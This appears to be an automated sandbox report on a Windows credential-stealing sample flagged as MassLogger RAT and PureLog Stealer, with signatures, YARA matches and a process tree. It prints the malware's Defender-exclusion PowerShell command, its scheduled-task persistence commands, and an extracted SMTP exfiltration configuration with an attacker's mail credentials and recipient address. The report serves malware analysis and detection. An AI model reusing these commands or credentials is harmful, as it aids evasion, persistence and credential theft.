Edit tour

Windows Analysis Report
MB263350411AE_1.scr.exe

Overview

General Information

Sample name:	MB263350411AE_1.scr.exe
Analysis ID:	1590687
MD5:	e10205715f674c1e004c6dbfced1d278
SHA1:	60a8841a8d7e074a81ed2f6a49b853b83ef220ca
SHA256:	efd86329975988f4c9e3178d139e82558d9ab07bb53dea0c5b6d0b234bb5cd35
Tags:	exescruser-Racco42
Infos:

Detection

MassLogger RAT, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AntiVM3

Yara detected MassLogger RAT

Yara detected PureLog Stealer

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

MB263350411AE_1.scr.exe (PID: 7428 cmdline: "C:\Users\user\Desktop\MB263350411AE_1.scr.exe" MD5: E10205715F674C1E004C6DBFCED1D278)

powershell.exe (PID: 7588 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7892 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7608 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MB263350411AE_1.scr.exe (PID: 7768 cmdline: "C:\Users\user\Desktop\MB263350411AE_1.scr.exe" MD5: E10205715F674C1E004C6DBFCED1D278)

nDVstwLnVvg.exe (PID: 7836 cmdline: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe MD5: E10205715F674C1E004C6DBFCED1D278)

schtasks.exe (PID: 7984 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nDVstwLnVvg.exe (PID: 8036 cmdline: "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe" MD5: E10205715F674C1E004C6DBFCED1D278)

nDVstwLnVvg.exe (PID: 8044 cmdline: "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe" MD5: E10205715F674C1E004C6DBFCED1D278)

cleanup

Malware Configuration

Threatname: MassLogger

{"EXfil Mode": "SMTP", "From": "serverhar244@gpsamsterdamqroup.com", "Password": "         feXwu@m?K@@L               ", "Server": "fiber13.dnsiaas.com", "To": "benfavour015@gmail.com", "Port": 587}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf81f:$a1: get_encryptedPassword 0xfb47:$a2: get_encryptedUsername 0xf5ba:$a3: get_timePasswordChanged 0xf6db:$a4: get_passwordField 0xf835:$a5: set_encryptedPassword 0x11191:$a7: get_logins 0x10e42:$a8: GetOutlookPasswords 0x10c34:$a9: StartKeylogger 0x110e1:$a10: KeyLoggerEventArgs 0x10c91:$a11: KeyLoggerEventArgsEventHandler
00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xdfa7:$a1: get_encryptedPassword 0xe2cf:$a2: get_encryptedUsername 0xdd42:$a3: get_timePasswordChanged 0xde63:$a4: get_passwordField 0xdfbd:$a5: set_encryptedPassword 0xf919:$a7: get_logins 0xf5ca:$a8: GetOutlookPasswords 0xf3bc:$a9: StartKeylogger 0xf869:$a10: KeyLoggerEventArgs 0xf419:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1712307029.0000000005310000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf247:$a1: get_encryptedPassword 0xf56f:$a2: get_encryptedUsername 0xefe2:$a3: get_timePasswordChanged 0xf103:$a4: get_passwordField 0xf25d:$a5: set_encryptedPassword 0x10bb9:$a7: get_logins 0x1086a:$a8: GetOutlookPasswords 0x1065c:$a9: StartKeylogger 0x10b09:$a10: KeyLoggerEventArgs 0x106b9:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xfb37:$a1: get_encryptedPassword 0xfe5f:$a2: get_encryptedUsername 0xf8d2:$a3: get_timePasswordChanged 0xf9f3:$a4: get_passwordField 0xfb4d:$a5: set_encryptedPassword 0x114a9:$a7: get_logins 0x1115a:$a8: GetOutlookPasswords 0x10f4c:$a9: StartKeylogger 0x113f9:$a10: KeyLoggerEventArgs 0x10fa9:$a11: KeyLoggerEventArgsEventHandler
0000000C.00000002.2908519169.00000000031F3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2907398360.00000000029F3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xfc67:$a1: get_encryptedPassword 0xff8f:$a2: get_encryptedUsername 0xfa02:$a3: get_timePasswordChanged 0xfb23:$a4: get_passwordField 0xfc7d:$a5: set_encryptedPassword 0x115d9:$a7: get_logins 0x1128a:$a8: GetOutlookPasswords 0x1107c:$a9: StartKeylogger 0x11529:$a10: KeyLoggerEventArgs 0x110d9:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x72047:$a1: get_encryptedPassword 0x7236f:$a2: get_encryptedUsername 0x71de2:$a3: get_timePasswordChanged 0x71f03:$a4: get_passwordField 0x7205d:$a5: set_encryptedPassword 0x739b9:$a7: get_logins 0x7366a:$a8: GetOutlookPasswords 0x7345c:$a9: StartKeylogger 0x73909:$a10: KeyLoggerEventArgs 0x734b9:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1708901730.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: MB263350411AE_1.scr.exe PID: 7428	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: MB263350411AE_1.scr.exe PID: 7428	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MB263350411AE_1.scr.exe PID: 7428	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MB263350411AE_1.scr.exe PID: 7428	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: MB263350411AE_1.scr.exe PID: 7428	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x642a:$a1: get_encryptedPassword 0xa3873:$a1: get_encryptedPassword 0xb0ba9:$a1: get_encryptedPassword 0x6743:$a2: get_encryptedUsername 0xa3b8c:$a2: get_encryptedUsername 0xb0ec2:$a2: get_encryptedUsername 0x61d9:$a3: get_timePasswordChanged 0xa3622:$a3: get_timePasswordChanged 0xb0958:$a3: get_timePasswordChanged 0x62fa:$a4: get_passwordField 0xa3743:$a4: get_passwordField 0xb0a79:$a4: get_passwordField 0x6440:$a5: set_encryptedPassword 0xa3889:$a5: set_encryptedPassword 0xb0bbf:$a5: set_encryptedPassword 0x7d43:$a7: get_logins 0xa518c:$a7: get_logins 0xb24c2:$a7: get_logins 0x79f4:$a8: GetOutlookPasswords 0xa4e3d:$a8: GetOutlookPasswords 0xb2173:$a8: GetOutlookPasswords
Process Memory Space: MB263350411AE_1.scr.exe PID: 7768	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: MB263350411AE_1.scr.exe PID: 7768	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MB263350411AE_1.scr.exe PID: 7768	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: MB263350411AE_1.scr.exe PID: 7768	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1d03:$a1: get_encryptedPassword 0x201c:$a2: get_encryptedUsername 0x1ab2:$a3: get_timePasswordChanged 0x1bd3:$a4: get_passwordField 0x1d19:$a5: set_encryptedPassword 0x361c:$a7: get_logins 0x32cd:$a8: GetOutlookPasswords 0x30bf:$a9: StartKeylogger 0x356c:$a10: KeyLoggerEventArgs 0x311c:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: nDVstwLnVvg.exe PID: 7836	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: nDVstwLnVvg.exe PID: 7836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: nDVstwLnVvg.exe PID: 7836	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: nDVstwLnVvg.exe PID: 7836	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: nDVstwLnVvg.exe PID: 7836	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x17bdd:$a1: get_encryptedPassword 0x66b81:$a1: get_encryptedPassword 0x17ef6:$a2: get_encryptedUsername 0x66e9a:$a2: get_encryptedUsername 0x1798c:$a3: get_timePasswordChanged 0x66930:$a3: get_timePasswordChanged 0x17aad:$a4: get_passwordField 0x66a51:$a4: get_passwordField 0x17bf3:$a5: set_encryptedPassword 0x66b97:$a5: set_encryptedPassword 0x194f6:$a7: get_logins 0x6849a:$a7: get_logins 0x191a7:$a8: GetOutlookPasswords 0x6814b:$a8: GetOutlookPasswords 0x18f99:$a9: StartKeylogger 0x67f3d:$a9: StartKeylogger 0x19446:$a10: KeyLoggerEventArgs 0x683ea:$a10: KeyLoggerEventArgs 0x18ff6:$a11: KeyLoggerEventArgsEventHandler 0x67f9a:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: nDVstwLnVvg.exe PID: 8044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 38 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.MB263350411AE_1.scr.exe.5310000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.MB263350411AE_1.scr.exe.2df45f0.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3a7:$a1: get_encryptedPassword 0xd6cf:$a2: get_encryptedUsername 0xd142:$a3: get_timePasswordChanged 0xd263:$a4: get_passwordField 0xd3bd:$a5: set_encryptedPassword 0xed19:$a7: get_logins 0xe9ca:$a8: GetOutlookPasswords 0xe7bc:$a9: StartKeylogger 0xec69:$a10: KeyLoggerEventArgs 0xe819:$a11: KeyLoggerEventArgsEventHandler
7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x123c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x118bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x11bcd:$a4: \Orbitum\User Data\Default\Login Data 0x129c5:$a5: \Kometa\User Data\Default\Login Data
0.2.MB263350411AE_1.scr.exe.5310000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1a7:$a1: get_encryptedPassword 0xf4cf:$a2: get_encryptedUsername 0xef42:$a3: get_timePasswordChanged 0xf063:$a4: get_passwordField 0xf1bd:$a5: set_encryptedPassword 0x10b19:$a7: get_logins 0x107ca:$a8: GetOutlookPasswords 0x105bc:$a9: StartKeylogger 0x10a69:$a10: KeyLoggerEventArgs 0x10619:$a11: KeyLoggerEventArgsEventHandler
0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x141c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x136bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x139cd:$a4: \Orbitum\User Data\Default\Login Data 0x147c5:$a5: \Kometa\User Data\Default\Login Data
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3a7:$a1: get_encryptedPassword 0xd6cf:$a2: get_encryptedUsername 0xd142:$a3: get_timePasswordChanged 0xd263:$a4: get_passwordField 0xd3bd:$a5: set_encryptedPassword 0xed19:$a7: get_logins 0xe9ca:$a8: GetOutlookPasswords 0xe7bc:$a9: StartKeylogger 0xec69:$a10: KeyLoggerEventArgs 0xe819:$a11: KeyLoggerEventArgsEventHandler
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x123c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x118bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x11bcd:$a4: \Orbitum\User Data\Default\Login Data 0x129c5:$a5: \Kometa\User Data\Default\Login Data
7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1a7:$a1: get_encryptedPassword 0xf4cf:$a2: get_encryptedUsername 0xef42:$a3: get_timePasswordChanged 0xf063:$a4: get_passwordField 0xf1bd:$a5: set_encryptedPassword 0x10b19:$a7: get_logins 0x107ca:$a8: GetOutlookPasswords 0x105bc:$a9: StartKeylogger 0x10a69:$a10: KeyLoggerEventArgs 0x10619:$a11: KeyLoggerEventArgsEventHandler
7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x141c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x136bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x139cd:$a4: \Orbitum\User Data\Default\Login Data 0x147c5:$a5: \Kometa\User Data\Default\Login Data
0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3a7:$a1: get_encryptedPassword 0xd6cf:$a2: get_encryptedUsername 0xd142:$a3: get_timePasswordChanged 0xd263:$a4: get_passwordField 0xd3bd:$a5: set_encryptedPassword 0xed19:$a7: get_logins 0xe9ca:$a8: GetOutlookPasswords 0xe7bc:$a9: StartKeylogger 0xec69:$a10: KeyLoggerEventArgs 0xe819:$a11: KeyLoggerEventArgsEventHandler
0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x123c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x118bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x11bcd:$a4: \Orbitum\User Data\Default\Login Data 0x129c5:$a5: \Kometa\User Data\Default\Login Data
6.2.MB263350411AE_1.scr.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.MB263350411AE_1.scr.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.MB263350411AE_1.scr.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
6.2.MB263350411AE_1.scr.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1a7:$a1: get_encryptedPassword 0xf4cf:$a2: get_encryptedUsername 0xef42:$a3: get_timePasswordChanged 0xf063:$a4: get_passwordField 0xf1bd:$a5: set_encryptedPassword 0x10b19:$a7: get_logins 0x107ca:$a8: GetOutlookPasswords 0x105bc:$a9: StartKeylogger 0x10a69:$a10: KeyLoggerEventArgs 0x10619:$a11: KeyLoggerEventArgsEventHandler
6.2.MB263350411AE_1.scr.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x141c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x136bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x139cd:$a4: \Orbitum\User Data\Default\Login Data 0x147c5:$a5: \Kometa\User Data\Default\Login Data
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1a7:$a1: get_encryptedPassword 0xf4cf:$a2: get_encryptedUsername 0xef42:$a3: get_timePasswordChanged 0xf063:$a4: get_passwordField 0xf1bd:$a5: set_encryptedPassword 0x10b19:$a7: get_logins 0x107ca:$a8: GetOutlookPasswords 0x105bc:$a9: StartKeylogger 0x10a69:$a10: KeyLoggerEventArgs 0x10619:$a11: KeyLoggerEventArgsEventHandler
0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x141c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x136bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x139cd:$a4: \Orbitum\User Data\Default\Login Data 0x147c5:$a5: \Kometa\User Data\Default\Login Data
0.2.MB263350411AE_1.scr.exe.2df45f0.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.MB263350411AE_1.scr.exe.2bd27c0.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.MB263350411AE_1.scr.exe.2b19e54.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 36 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\MB263350411AE_1.scr.exe", ParentImage: C:\Users\user\Desktop\MB263350411AE_1.scr.exe, ParentProcessId: 7428, ParentProcessName: MB263350411AE_1.scr.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe, ParentImage: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe, ParentProcessId: 7836, ParentProcessName: nDVstwLnVvg.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp", ProcessId: 7984, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\MB263350411AE_1.scr.exe", ParentImage: C:\Users\user\Desktop\MB263350411AE_1.scr.exe, ParentProcessId: 7428, ParentProcessName: MB263350411AE_1.scr.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp", ProcessId: 7608, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

